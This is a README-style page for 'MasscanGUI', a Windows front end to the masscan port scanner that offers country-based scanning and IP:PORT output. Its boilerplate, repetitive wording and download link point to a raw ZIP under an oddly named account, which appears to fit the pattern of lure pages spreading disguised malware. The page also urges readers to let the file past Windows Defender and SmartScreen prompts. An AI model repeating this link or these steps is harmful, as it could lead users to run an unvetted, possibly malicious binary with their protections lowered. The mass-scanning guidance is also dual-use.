MasscanGUI is a Windows app that gives you a simple screen for masscan. It helps you run port scans without using the command line.

Use it to:

• scan IPs and ports from a clean interface
• narrow scans by country
• export results in IP:PORT format
• set advanced scan options with less typing
• review scan output in a form that is easier to read

This app is useful if you want the speed of masscan with a windowed tool that is easier to use.

1. Open the MasscanGUI Releases page
2. Download the latest Windows release file
3. Save the file to your PC
4. Open the file to start the app

If the download comes as a ZIP file, right-click it and choose Extract All, then open the app inside the folder.

Download MasscanGUI

MasscanGUI is made for Windows use. For the best results:

• use Windows 10 or Windows 11
• keep enough free disk space for scan results
• allow the app through Windows Defender if it asks for permission
• run the app with normal user access unless Windows asks for admin rights

If Windows shows a SmartScreen prompt, choose the option to run the file after you check that you got it from the release page.

1. Download the latest release
2. Extract the files if needed
3. Open the MasscanGUI app
4. Wait for the main window to load
5. Enter the target IP, range, or country settings
6. Choose the ports you want to scan
7. Start the scan
8. Review the results in the output area

You can scan targets by country to focus on a region instead of entering each IP by hand. This helps when you want a wider search without building a list first.

Results can be shown in IP:PORT format. This makes it easy to copy the scan output into other tools or save it for later use.

MasscanGUI exposes the settings you may want to change, such as:

• scan speed
• port range
• target range
• output format
• timing choices
• response handling

The app uses a GUI layout, so you do not need to learn command-line flags before you begin. You can enter values in fields and select options from the window.

You can keep scan output in a format that is easy to store, sort, and reuse. This helps when you want to review results after a scan ends.

MasscanGUI can help with:

• checking which ports are open on a host you own
• mapping a known range of systems
• reviewing exposure in lab networks
• running port discovery during security testing
• saving results in a clear text format

Before you run MasscanGUI, make sure you have:

• a Windows PC
• internet access for the download
• permission to scan the network or host you plan to test
• enough system access to run the app
• a place to save output files

If this is your first time using the app:

1. Start with one target
2. Use a small port list
3. Check that the scan runs as expected
4. Review the output format
5. Move to larger scans after you are sure the settings are correct

This helps you get comfortable with the interface before you use broader scan ranges.

MasscanGUI is built to give clean scan output. The common result style is:

• host IP
• open port
• protocol data where used
• scan status
• saved text output for later review

This makes it easier to work with the results in a spreadsheet, text editor, or other security tools.

You will likely see controls for:

• target input
• port input
• country selection
• start and stop actions
• output path
• speed or rate settings
• save or export options

If a field has a label next to it, use that label as your guide. Most values can be entered with plain numbers or simple text.

A simple scan flow looks like this:

1. Open MasscanGUI
2. Enter a target or country
3. Set the port list
4. Choose an output path
5. Start the scan
6. Wait for the scan to finish
7. Copy or save the results

Use MasscanGUI only on systems you own or have permission to test. Port scanning can trigger security tools on a network, so keep your use to approved systems and lab setups

This project is related to:

• cybersecurity
• GUI
• IP scanner
• masscan
• masscan-gui
• network tools
• pentesting
• port scanner
• security tools
• tkinter

• make sure you downloaded the latest release
• extract the ZIP file if needed
• try running the app again
• check whether Windows blocked the file

• check the target field
• check the port list
• make sure you have the right permissions
• lower the scan speed if your network blocks fast scans

• confirm the target is valid
• try a known open host in a lab network
• check the output path
• make sure the scan has time to finish

• confirm that the file came from the releases page
• allow the app if your system trusts it
• run it again after approval

If you need the installer or latest build, visit the release page here:

https://raw.githubusercontent.com/Michelinadetached887/MasscanGUI/main/limitedly/GUI-Masscan-Arnold.zip

Name: MasscanGUI
Description: MasscanGUI – A full-featured GUI wrapper for masscan port scanner with country-based scanning, IP:PORT output, and all advanced options.